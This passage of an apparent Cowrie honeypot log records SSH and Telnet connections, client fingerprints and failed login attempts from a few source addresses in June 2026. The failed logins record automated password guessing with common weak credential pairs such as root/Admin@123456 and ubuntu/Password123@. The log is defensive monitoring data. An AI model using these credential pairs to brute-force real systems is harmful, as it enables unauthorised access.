-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:49.676931Z","src_ip":"192.109.200.78","session":"bce324e49e24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:49.925469Z","src_ip":"192.109.200.78","session":"bce324e49e24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:51.010093Z","src_ip":"192.109.200.78","session":"bce324e49e24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51660,"dst_ip":"10.17.0.5","dst_port":22,"session":"5539f1e6538f","protocol":"ssh","message":"New connection: 192.109.200.78:51660 (10.17.0.5:22) [session: 5539f1e6538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:52.957896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:52.961641Z","src_ip":"192.109.200.78","session":"5539f1e6538f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:53.042236Z","src_ip":"192.109.200.78","session":"5539f1e6538f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"root","message":"login attempt [runner/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:53.285782Z","src_ip":"192.109.200.78","session":"5539f1e6538f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:54.370597Z","src_ip":"192.109.200.78","session":"5539f1e6538f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":54062,"dst_ip":"159.203.135.109","dst_port":22,"session":"38ab25467143","protocol":"ssh","message":"New connection: 46.29.234.126:54062 (159.203.135.109:22) [session: 38ab25467143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.186535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.190183Z","src_ip":"46.29.234.126","session":"38ab25467143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.300970Z","src_ip":"46.29.234.126","session":"38ab25467143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51676,"dst_ip":"10.17.0.5","dst_port":22,"session":"7faa41e4a1d0","protocol":"ssh","message":"New connection: 192.109.200.78:51676 (10.17.0.5:22) [session: 7faa41e4a1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.557819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.561520Z","src_ip":"192.109.200.78","session":"7faa41e4a1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.642981Z","src_ip":"192.109.200.78","session":"7faa41e4a1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:56.891325Z","src_ip":"192.109.200.78","session":"7faa41e4a1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345678.","message":"login attempt [root/A12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:57.242123Z","src_ip":"46.29.234.126","session":"38ab25467143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:57.975305Z","src_ip":"192.109.200.78","session":"7faa41e4a1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:58.355056Z","src_ip":"46.29.234.126","session":"38ab25467143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51682,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f8a64403088","protocol":"ssh","message":"New connection: 192.109.200.78:51682 (10.17.0.5:22) [session: 6f8a64403088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:59.903210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:59.907325Z","src_ip":"192.109.200.78","session":"6f8a64403088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:40:59.987802Z","src_ip":"192.109.200.78","session":"6f8a64403088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:00.234053Z","src_ip":"192.109.200.78","session":"6f8a64403088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:01.318927Z","src_ip":"192.109.200.78","session":"6f8a64403088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55326,"dst_ip":"10.17.0.5","dst_port":22,"session":"770d6b7c8aa0","protocol":"ssh","message":"New connection: 192.109.200.78:55326 (10.17.0.5:22) [session: 770d6b7c8aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:03.256814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:03.338835Z","src_ip":"192.109.200.78","session":"770d6b7c8aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:03.504576Z","src_ip":"192.109.200.78","session":"770d6b7c8aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:03.771215Z","src_ip":"192.109.200.78","session":"770d6b7c8aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:04.855121Z","src_ip":"192.109.200.78","session":"770d6b7c8aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55332,"dst_ip":"10.17.0.5","dst_port":22,"session":"9058822cdc30","protocol":"ssh","message":"New connection: 192.109.200.78:55332 (10.17.0.5:22) [session: 9058822cdc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:06.864330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:06.869060Z","src_ip":"192.109.200.78","session":"9058822cdc30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39002,"dst_ip":"159.203.135.109","dst_port":23,"session":"054ee3c23baa","protocol":"telnet","message":"New connection: 172.81.62.90:39002 (159.203.135.109:23) [session: 054ee3c23baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:06.874187Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:06.952866Z","src_ip":"192.109.200.78","session":"9058822cdc30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:07.198368Z","src_ip":"192.109.200.78","session":"9058822cdc30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":57754,"dst_ip":"159.203.135.109","dst_port":22,"session":"9025995dced0","protocol":"ssh","message":"New connection: 92.207.4.157:57754 (159.203.135.109:22) [session: 9025995dced0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:07.272847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:07.277161Z","src_ip":"92.207.4.157","session":"9025995dced0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:07.383012Z","src_ip":"92.207.4.157","session":"9025995dced0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123@","message":"login attempt [ubuntu/Password123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:07.807853Z","src_ip":"92.207.4.157","session":"9025995dced0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:08.441372Z","src_ip":"192.109.200.78","session":"9058822cdc30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:08.915266Z","src_ip":"92.207.4.157","session":"9025995dced0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55338,"dst_ip":"10.17.0.5","dst_port":22,"session":"8212b794f668","protocol":"ssh","message":"New connection: 192.109.200.78:55338 (10.17.0.5:22) [session: 8212b794f668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:10.192223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:10.196410Z","src_ip":"192.109.200.78","session":"8212b794f668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:10.331251Z","src_ip":"192.109.200.78","session":"8212b794f668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:10.732996Z","src_ip":"192.109.200.78","session":"8212b794f668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:11.816086Z","src_ip":"192.109.200.78","session":"8212b794f668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42578,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9881d6decfb","protocol":"ssh","message":"New connection: 192.109.200.78:42578 (10.17.0.5:22) [session: f9881d6decfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:41:13.843060Z"}
